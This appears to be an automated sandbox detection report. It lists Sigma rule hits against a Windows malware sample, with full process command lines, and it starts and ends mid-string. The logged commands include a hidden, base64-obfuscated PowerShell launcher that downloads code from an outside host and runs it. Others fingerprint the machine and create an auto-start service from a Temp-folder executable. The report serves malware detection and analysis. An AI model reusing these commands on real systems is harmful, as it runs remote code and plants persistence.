ZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA, CommandLine: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -Execution

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAY

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3992, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 3920, ProcessName: sc.exe

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Source: Event Logs

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro: Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = 3f85c075-012e-4f5f-8406-35a079d78cde Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = 7bfb8961-ab2e-420a-b8e1-be3ea16c45ec Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = 3f85c075-012e-4f5f-8406-35a079d78cde Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = 7bfb8961-ab2e-420a-b8e1-be3ea16c45ec Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, data1: , data2: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms"

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5928, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 7884, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAY

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6616, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline", ProcessId: 8080, ProcessName: csc.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA==" , CommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd 